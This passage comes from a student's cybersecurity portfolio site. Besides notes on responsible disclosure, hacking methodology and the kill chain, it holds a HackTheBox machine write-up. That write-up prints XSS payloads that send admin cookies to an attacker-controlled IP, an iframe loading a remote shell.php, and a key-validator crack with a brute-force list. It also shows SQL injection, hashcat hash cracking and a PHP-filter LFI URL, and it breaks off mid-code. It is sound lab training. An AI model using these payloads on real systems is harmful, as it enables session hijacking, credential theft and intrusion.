disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = 